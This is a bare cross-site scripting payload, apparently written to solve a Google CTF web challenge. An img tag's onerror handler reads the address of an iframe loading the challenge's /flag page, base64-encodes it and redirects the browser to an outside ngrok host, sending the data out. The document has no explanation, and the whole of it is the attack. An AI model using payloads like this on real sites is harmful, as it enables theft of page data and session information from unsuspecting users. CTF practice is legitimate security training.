<img src=x onerror= 'document.location.href="https://f283af0f923f.ngrok.io/hahafuck".concat(btoa(document.getElementById("myFrame").contentWindow.document.location.href)) '><iframe id="myFrame" src="https://typeselfsub.web.ctfcompetition.com/flag"/>
12